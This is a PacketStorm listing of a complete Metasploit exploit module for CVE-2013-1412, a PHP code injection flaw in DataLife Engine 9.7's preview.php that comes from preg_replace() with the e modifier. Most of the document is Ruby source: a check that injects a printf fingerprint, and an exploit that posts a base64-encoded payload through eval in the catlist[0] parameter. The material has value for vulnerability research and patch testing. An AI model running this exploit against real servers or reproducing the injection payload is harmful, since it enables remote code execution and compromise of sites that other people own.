DataLife Engine preview.php PHP Code Injection

[Praetorian503]

This Metasploit module exploits a PHP code injection vulnerability DataLife Engine 9.7. The vulnerability exists in preview.php, due to an insecure usage of preg_replace() with the e modifier, which allows to inject arbitrary php code, when the template in use contains a [catlist] or [not-catlist] tag.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DataLife Engine preview.php PHP Code Injection',
      'Description'    => %q{
          This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
        The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
        with the e modifier, which allows to inject arbitrary php code, when the template
        in use contains a [catlist] or [not-catlist] tag.
      },
      'Author'         =>
        [
          'EgiX', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-1412' ],
          [ 'BID', '57603' ],
          [ 'EDB', '24438' ],
          [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
          [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'Keys'   => ['php']
        },
      'DisclosureDate' => 'Jan 28 2013',
      'Targets'        => [ ['DataLife Engine 9.7', { }], ],
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
      ], self.class)
  end

  def base
    base = normalize_uri(target_uri.path)
    base << '/' if base[-1, 1] != '/'
    return base
  end

  def check
    fingerprint = rand_text_alpha(4+rand(4))
    res = send_request_cgi(
      {
        'uri'       =>  "#{base}engine/preview.php",
        'method'    => 'POST',
        'vars_post' =>
          {
            'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
          }
      })

    if res and res.code == 200 and res.body =~ /#{fingerprint}/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    @peer = "#{rhost}:#{rport}"

    print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
    res = send_request_cgi(
      {
        'uri'       =>  "#{base}engine/preview.php",
        'method'    => 'POST',
        'vars_post' =>
          {
            'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
          }
      })
  end
end

Source: PacketStorm